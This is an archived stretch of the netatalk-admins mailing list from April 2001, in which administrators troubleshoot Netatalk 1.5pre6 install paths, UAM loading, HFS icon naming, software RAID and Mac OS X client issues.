> Are the UAMs loading? Check your logs.

nope! I've moved the uams directory to /etc/uams. I guess I need to qualify
this path afpd.conf (sorry - not at my linux box now, this is by memory) to
point to /etc/uams/cleartxt.so or whatever. Do you have your uams in the
same /etc/netatalk directory?

> If they are, it is possible that your AppleShare Client is out of
> date. Check Apple's website to see what the newest version for
> your version of MacOS is.

I'm running OS 9.0.4, but I'll check this anyway. Thanks.

> > Interestingly, if a do a find for "AppleVolumes.default", there
> > is one in my /etc/netatalk folder (made by Debian) and one in
> > the source directory (<source>/config) and one in the source
> > config none directory (<source>/config/NONE/etc/).
> > 
> > I don't quite know which one to use!
> 
> The /etc/netatalk one, I believe.

Great! I was wondering if the very long directory paths leading to the NONE
folders where what I needed.

Thanks very much for your help.

Regards
Rory

--
	Rory Campbell-Lange
	The Campbell-Lange Workshop
 	London


From netatalk.administrators-errors@umich.edu  Wed Apr 18 17:26:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20729
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 17:26:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21661
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 17:26:18 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21651
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 17:26:18 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA21596
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 17:26:15 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f3ILMr079063
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 23:22:55 +0200 (CEST)
	(envelope-from jasonq@mac.com)
Message-Id: <200104182122.f3ILMr079063@vulcan.borgspace.alpha>
Date: Wed, 18 Apr 2001 23:26:19 +0200
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Jason Quigley <jasonq@mac.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <20010418192416-r01010600-1c65977a@194.159.148.247>
Subject: OSX: 1.5pre6: FreeBSD 4.2: observation...
Content-Transfer-Encoding: 7bit

Hi everyone!

I have noticed a something a little odd with this build. When I connect 
to the server directly through the finder's "Connect To Server" menu 
option and enter my password, I get a dialogue box saying that the 
server has unexpectedly disconnected. I got the following message in 
/var/log/messages: "afpd[79000]: dsi_stream_read(0): Operation not 
supported"

I keep all my music in a shared directory and I have a Keychain entry 
for the server/share already defined from a previous version of 
Netatalk. As a little test, I fired up iTunes and started playing some 
music. The share mounted and the music started playing. I opened the 
share from the desk top icon and was able to browse the directory 
without problems.

Has anybody else noticed this sort of behaviour?

Cheers,
Jason.

From netatalk.administrators-errors@umich.edu  Wed Apr 18 17:45:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21356
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 17:45:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14302
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 17:45:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14266
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 17:45:49 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA14209
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 17:45:48 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id WAA07362;
	Wed, 18 Apr 2001 22:45:38 +0100
Date: Wed, 18 Apr 2001 22:45:38 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Lance Levsen <l.levsen@printwest.com>
cc: LINUX-ATALK@netspace.org, netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Netatalk and raid
In-Reply-To: <20010417194637.862EA7995@cossette.dante.ca>
Message-ID: <Pine.LNX.4.21.0104182244140.5137-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have a netatalk server with a 90GB (5x18GB 10000rpm SCSI160) software
raid0 array, with a reiserfs filesystem on it. 

Works just fine, and its hella lot faster than any crappy ASIP server.

On Tue, 17 Apr 2001, Lance Levsen wrote:

> 
> Anyone here using Netatalk and the Linux software raid together?
> 
> I'm curious if this is a valid setup, and what your setup might be.
> 
> Cheers,
> 

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Wed Apr 18 20:02:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA25673
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 18 Apr 2001 20:02:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA17578
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 18 Apr 2001 20:02:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA17556
	for netatalk.administrators-members@umich.edu; Wed, 18 Apr 2001 20:02:17 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA17510
	for <netatalk-admins@umich.edu>; Wed, 18 Apr 2001 20:02:15 -0400 (EDT)
Received: from ns01-n70-120.de.inter.net ([213.73.70.120] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14q1tm-0003KL-00
	for netatalk-admins@umich.edu; Thu, 19 Apr 2001 02:02:14 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA02700
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 02:01:20 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Folder icon incompatibility problem
Date: Thu, 19 Apr 2001 00:43:31 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01041902012002.25690@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA25673

Hi all,

I just encountered a problem with folder icon names regarding HFS and netatalk.

What I did:
  1. I copied folders with non-standard icons to my netatalk server.
  2. I made a CD image of the folder containing those mentioned above:
     mkhybrid -hfs -a --netatalk -o <image-name> <apple-share>
  3. I mounted that image:
     mount -t hfs -o loop,ro,afpd <image-name> <mount-point>
  4. I mounted that volume on my Mac.

Effect:
  The non-standard icons are not shown on my mounted image.

What I detected:
  The folder icon names in <apple-ahare> had the name "Icon^M" (Carriage Return at the end).
  The forder icon names in <mount-point> had the name "Icon:0d"

I think that this is an inconsistent handling by netatalk.
Usually special characters are translated to :<HexCode> but not CR!

I have 1.5pre5 installed using kernel 2.2.13.

Is this problem unknown or wasn't it changed due to compatibility aspects with older netatalk
versions?
Will this be changed in the future?

Last note: I've just checked if the translation is mkhybrid or HFS related.
Also original Apple-CDs showed "Icon:0d" names.
So mkhybrid is not responsible for the translation.

Thanks and kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Apr 19 08:42:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA13917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 08:42:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA11439
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 08:42:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA11418
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 08:42:11 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA11376
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 08:42:09 -0400 (EDT)
Received: (qmail 16918 invoked from network); 19 Apr 2001 12:42:16 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 19 Apr 2001 12:42:16 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id D49011A002
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 13:40:00 +0100 (BST)
Date: Thu, 19 Apr 2001 13:42:03 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Install path problem on Debian
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010419134214-r01010600-fd7216d1@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Hi 

I'm trying to build 1.5pre6. I've never installed something from source
before.

I have done the ./configure and make steps, but it is clear that I've
installed things to the wrong directories. (See extracts in the daemon
log when I try to startup). The binaries are installed to
/usr/local/sbin. However all the config files are installed within the
source directory itself.

Reading the INSTALL and README files suggest that I should state a
destination directory for the install in the Makefile. However configure
also takes directory paths for the install - I tried 
    
    ./configure --prefix=/usr --with-config-dir=/etc \
                --with-uams-path=/etc/uams

but it didn't work.

Thanks for ANY help!
Rory


atalkd[16646]: NONE/etc/atalkd.tmp: No such file or directory
atalkd[16646]: ready 0/0/0
afpd[16650]: hopnet2:AFPServer@* started on 6.42:128 (1.5pre6)
afpd[16650]: ASIP started on x.x.x.x:548(1) (1.5pre6)
afpd[16650]: uam : Loading (NONE/etc/uams/uams_guest.so)
afpd[16650]: uam: uam not found (status=-1)
afpd[16650]: uam : Loading (NONE/etc/uams/uams_clrtxt.so)
afpd[16650]: uam: uam not found (status=-1)
afpd[16650]: uam : Loading (NONE/etc/uams/uams_dhx.so)
afpd[16650]: uam: uam not found (status=-1)

-----

From netatalk.administrators-errors@umich.edu  Thu Apr 19 08:51:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA14183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 08:51:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 08:51:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28913
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 08:51:26 -0400 (EDT)
Received: from dns2.northox.ac.uk (dns2.northox.ac.uk [195.194.168.132])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA28856
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 08:51:24 -0400 (EDT)
Received: from mail.northox.ac.uk (mail.northox.ac.uk [195.194.168.139])
	by dns2.northox.ac.uk (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id MAA15444
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 12:51:07 GMT
Received: from BANBURY1/SpoolDir by mail.northox.ac.uk (Mercury 1.48);
    19 Apr 01 13:47:16 +0000
Received: from SpoolDir by BANBURY1 (Mercury 1.48); 19 Apr 01 13:46:43 +0000
Received: from [192.168.3.51] (192.168.3.51) by mail.northox.ac.uk (Mercury 1.48) with ESMTP;
    19 Apr 01 13:46:28 +0000
Mime-Version: 1.0
X-Sender: tallett@192.168.1.2
Message-Id: <p05010401b7048e162b5f@[192.168.3.51]>
In-Reply-To: <20010418221048-r01010600-366de85a@212.1.149.128>
References: <20010418221048-r01010600-366de85a@212.1.149.128>
Date: Thu, 19 Apr 2001 13:49:44 +0100
To: netatalk-admins@umich.edu
From: trevor allett <tallett@northox.ac.uk>
Subject: OS X-Netatalk-thought
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi all, now that Apple has OS X, which by all accounts is based on 
some strain of U*nix and Netatalk provides translation between Apple 
and linux, would not a more direct approach, now be to NFS 
"underneath" the OS X GUI?

just a thought!
-- 
==============================
Trevor Allett
IT Support unit
North Oxfordshire College,
Banbury,
Oxfordshire.	United Kingdom.
=======================================
============================================
This message may contain information which is legally privileged
and/or confidential. If you are not the intended recipient, you
are hereby notified that any unauthorised disclosure, copying,
distribution or use of this information is strictly prohibited.
Such notification notwithstanding, any comments or opinions
expressed are those of the originator, not of
North Oxfordshire College and School of Art,
unless otherwise explicitly stated.
=================================================================

From netatalk.administrators-errors@umich.edu  Thu Apr 19 08:57:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA14454
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 08:57:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 08:57:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06361
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 08:57:42 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06224
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 08:57:37 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 14qDzZ-0004PI-00; Thu, 19 Apr 2001 13:57:01 +0100
Sender: peter@circlesquared.com
Message-ID: <3ADEE0A7.239E703B@circlesquared.com>
Date: Thu, 19 Apr 2001 13:57:11 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: trevor allett <tallett@northox.ac.uk>
CC: netatalk-admins@umich.edu
Subject: Re: OS X-Netatalk-thought
References: <20010418221048-r01010600-366de85a@212.1.149.128> <p05010401b7048e162b5f@[192.168.3.51]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

OSX includes nfs tools. In fact, its approach to networking is very
different from OS 9 and below. You're in the UK: see the current edition
of MacWorld for more info.



trevor allett wrote:
> 
> Hi all, now that Apple has OS X, which by all accounts is based on
> some strain of U*nix and Netatalk provides translation between Apple
> and linux, would not a more direct approach, now be to NFS
> "underneath" the OS X GUI?
> 
> just a thought!
> --
> ==============================
> Trevor Allett

-- 
Peter Risdon
circle squared
9 The Maltings,
Millfield,
Cottenham,
Cambridge,
CB4 8RE
UK
tel +44 1954 251097
fax +44 1954 252209

While every effort is made to ensure this mail and its attachments are
free of viruses and other malicious software, recipients should take
their own precautions.

This mail is intended for the addressees only. Should you receive it
inappropriately, please delete it and inform us by return mail to
admin@circlesquared.com

Unless otherwise stated, the opinions expressed in this mail are those
of its author, and not statements made on behalf of the circle squared.

From netatalk.administrators-errors@umich.edu  Thu Apr 19 08:58:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA14493
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 08:58:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA11580
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 08:58:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA11558
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 08:58:21 -0400 (EDT)
Received: from vulcan.borgspace.alpha ([213.97.106.73])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA11508
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 08:58:19 -0400 (EDT)
Received: from localhost (tangy.borgspace.alpha [10.0.0.3])
	by vulcan.borgspace.alpha (8.11.1/8.11.1) with ESMTP id f3JCsm083466;
	Thu, 19 Apr 2001 14:54:49 +0200 (CEST)
	(envelope-from jasonq@mac.com)
Message-Id: <200104191254.f3JCsm083466@vulcan.borgspace.alpha>
Date: Thu, 19 Apr 2001 14:58:15 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Install path problem on Debian
Cc: netatalk-admins@umich.edu
To: Rory Campbell-Lange <rory@campbell-lange.net>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <20010419134214-r01010600-fd7216d1@194.159.148.247>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

Hi Rory!

I too had the same or a very similar problem under FreeBSD. It appears 
that the default configuration directory (--with-config-dir=path  path 
to config files [default=/usr/local/etc]) is being ignored:

...
setting configuration files location to NONE/etc <---- Here
AUTHORS: not found
  * FreeBSD specific configuration
checking for main in -lcrypto... (cached) yes
...

I just configured with --with-config-dir=/usr/local/etc/atalk and 
everything was fine.

Cheers,
Jason.



On Thursday, April 19, 2001, at 02:42  pm, Rory Campbell-Lange wrote:

> Hi
>
> I'm trying to build 1.5pre6. I've never installed something from source
> before.
>
> I have done the ./configure and make steps, but it is clear that I've
> installed things to the wrong directories. (See extracts in the daemon
> log when I try to startup). The binaries are installed to
> /usr/local/sbin. However all the config files are installed within the
> source directory itself.
>
> Reading the INSTALL and README files suggest that I should state a
> destination directory for the install in the Makefile. However configure
> also takes directory paths for the install - I tried
>
>     ./configure --prefix=/usr --with-config-dir=/etc \
>                 --with-uams-path=/etc/uams
>
> but it didn't work.
>
> Thanks for ANY help!
> Rory
>
>
> atalkd[16646]: NONE/etc/atalkd.tmp: No such file or directory
> atalkd[16646]: ready 0/0/0
> afpd[16650]: hopnet2:AFPServer@* started on 6.42:128 (1.5pre6)
> afpd[16650]: ASIP started on x.x.x.x:548(1) (1.5pre6)
> afpd[16650]: uam : Loading (NONE/etc/uams/uams_guest.so)
> afpd[16650]: uam: uam not found (status=-1)
> afpd[16650]: uam : Loading (NONE/etc/uams/uams_clrtxt.so)
> afpd[16650]: uam: uam not found (status=-1)
> afpd[16650]: uam : Loading (NONE/etc/uams/uams_dhx.so)
> afpd[16650]: uam: uam not found (status=-1)
>
> -----
>

From netatalk.administrators-errors@umich.edu  Thu Apr 19 09:22:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15412
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 09:22:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA09906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 09:22:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA09867
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 09:22:16 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA09835
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 09:22:15 -0400 (EDT)
Received: (qmail 25745 invoked by alias); 19 Apr 2001 13:22:28 -0000
Received: (qmail 25728 invoked by uid 0); 19 Apr 2001 13:22:27 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 19 Apr 2001 13:22:27 -0000
Subject: Re: OS X-Netatalk-thought
From: Matthew Keller <kellermg@potsdam.edu>
To: trevor allett <tallett@northox.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <p05010401b7048e162b5f@[192.168.3.51]>
References: <20010418221048-r01010600-366de85a@212.1.149.128> 
	<p05010401b7048e162b5f@[192.168.3.51]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 19 Apr 2001 09:22:18 -0400
Message-Id: <987686538.823.11.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    NFS on OS X is not very good, and doesn't play nice with many other
    NFS's (Linux, Sun, IRIX, AIX I've tried). I can get mounts on
    occasion, but throughput is horrible, and OSX seems to have a
    low-limit on the number of TCP/UDP sockets it has open because it
    stalls dramatically (causing NFS to have to be restarted) under even
    "mid-level" loads.

On 19 Apr 2001 13:49:44 +0100, trevor allett wrote:
> Hi all, now that Apple has OS X, which by all accounts is based on 
> some strain of U*nix and Netatalk provides translation between Apple 
> and linux, would not a more direct approach, now be to NFS 
> "underneath" the OS X GUI?
> 
> just a thought!
> -- 
> ==============================
> Trevor Allett
> IT Support unit
> North Oxfordshire College,
> Banbury,
> Oxfordshire.  United Kingdom.
> =======================================
> ============================================
> This message may contain information which is legally privileged
> and/or confidential. If you are not the intended recipient, you
> are hereby notified that any unauthorised disclosure, copying,
> distribution or use of this information is strictly prohibited.
> Such notification notwithstanding, any comments or opinions
> expressed are those of the originator, not of
> North Oxfordshire College and School of Art,
> unless otherwise explicitly stated.
> =================================================================
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 19 09:36:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15894
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 09:36:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04261
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 09:36:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04237
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 09:36:22 -0400 (EDT)
Received: from dias.kvl.dk (macserver.dias.kvl.dk [130.225.171.85])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04023
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 09:36:15 -0400 (EDT)
Received: from [130.226.186.240] (130.226.186.240) by dias.kvl.dk with ESMTP
 (Eudora Internet Mail Server 2.2.2); Thu, 19 Apr 2001 14:39:46 +0100
X-Sender: p.seiden@mail.dias.kvl.dk
Message-Id: <l03130303b70499e8f13c@[130.226.186.240]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 19 Apr 2001 15:37:02 +0200
To: netatalk-admins@umich.edu
From: Piet Seiden <piet@seiden.dk>
Subject: Mac OS X client and netatalk woes

I have som problems getting hold of files on my share when accessing it
from OS X. I run netatalk-1.4b2+asun2.1.3 on FreeBSD 4.2 and when I try to
copy files from my share I get an error (-45) message telling me that the
requested files could not be found (not the exact wording).

I can get at files on a Mac OS 9.1 share running on another mac, so I guess
it has something to do with netatalk. I've only tried TCP/IP, not native
AppleTalk. Upgrading netatalk doesn't seem to be an option as I can't
locate a newer version in the ports tree.

Anybody else with similar experiences?

Piet




From netatalk.administrators-errors@umich.edu  Thu Apr 19 09:46:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16155
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 09:46:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02537
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 09:46:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02513
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 09:46:12 -0400 (EDT)
Received: from mpcomm1e.mainpost.de ([193.102.192.83])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA02477
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 09:46:10 -0400 (EDT)
From: Michael.Kindermann@mainpost.de
Subject: user statistic
To: netatalk-admins@umich.edu
X-Mailer: Lotus Notes Release 5.0.4  June 8, 2000
Message-ID: <OF2EE8561B.27B04591-ONC1256A33.004932E2@mainpost.de>
Date: Thu, 19 Apr 2001 15:46:40 +0200
X-MIMETrack: Serialize by Router on MPCOMM01/Comm/Mainpost/DE(Release 5.0.4 |June 8, 2000) at
 19.04.2001 15:48:35
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

hello,

our server (linux 2.2.10)  is running natalk 1.4b2 + asun2.1.4 . is there a
possibility get some statistics who is using  the server  by appletalk.
The server is also running samba, so there are alot of computers connected.

MfG

Michael Kindermann
michael.kindermann@mainpost.de
Wuerzburg/Germsmany


From netatalk.administrators-errors@umich.edu  Thu Apr 19 09:51:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16289
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 19 Apr 2001 09:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10220
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 19 Apr 2001 09:51:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10202
	for netatalk.administrators-members@umich.edu; Thu, 19 Apr 2001 09:51:06 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA10164
	for <netatalk-admins@umich.edu>; Thu, 19 Apr 2001 09:51:04 -0400 (EDT)
Received: (qmail 26080 invoked from network); 19 Apr 2001 13:51:02 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 19 Apr 2001 13:51:02 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP
	id D6BD81A003; Thu, 19 Apr 2001 14:48:42 +0100 (BST)
Date: Thu, 19 Apr 2001 14:50:12 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Install path problem on Debian
To: Jason Quigley <jasonq@mac.com>
Cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <200104191254.f3JCsm083466@vulcan.borgspace.alpha>
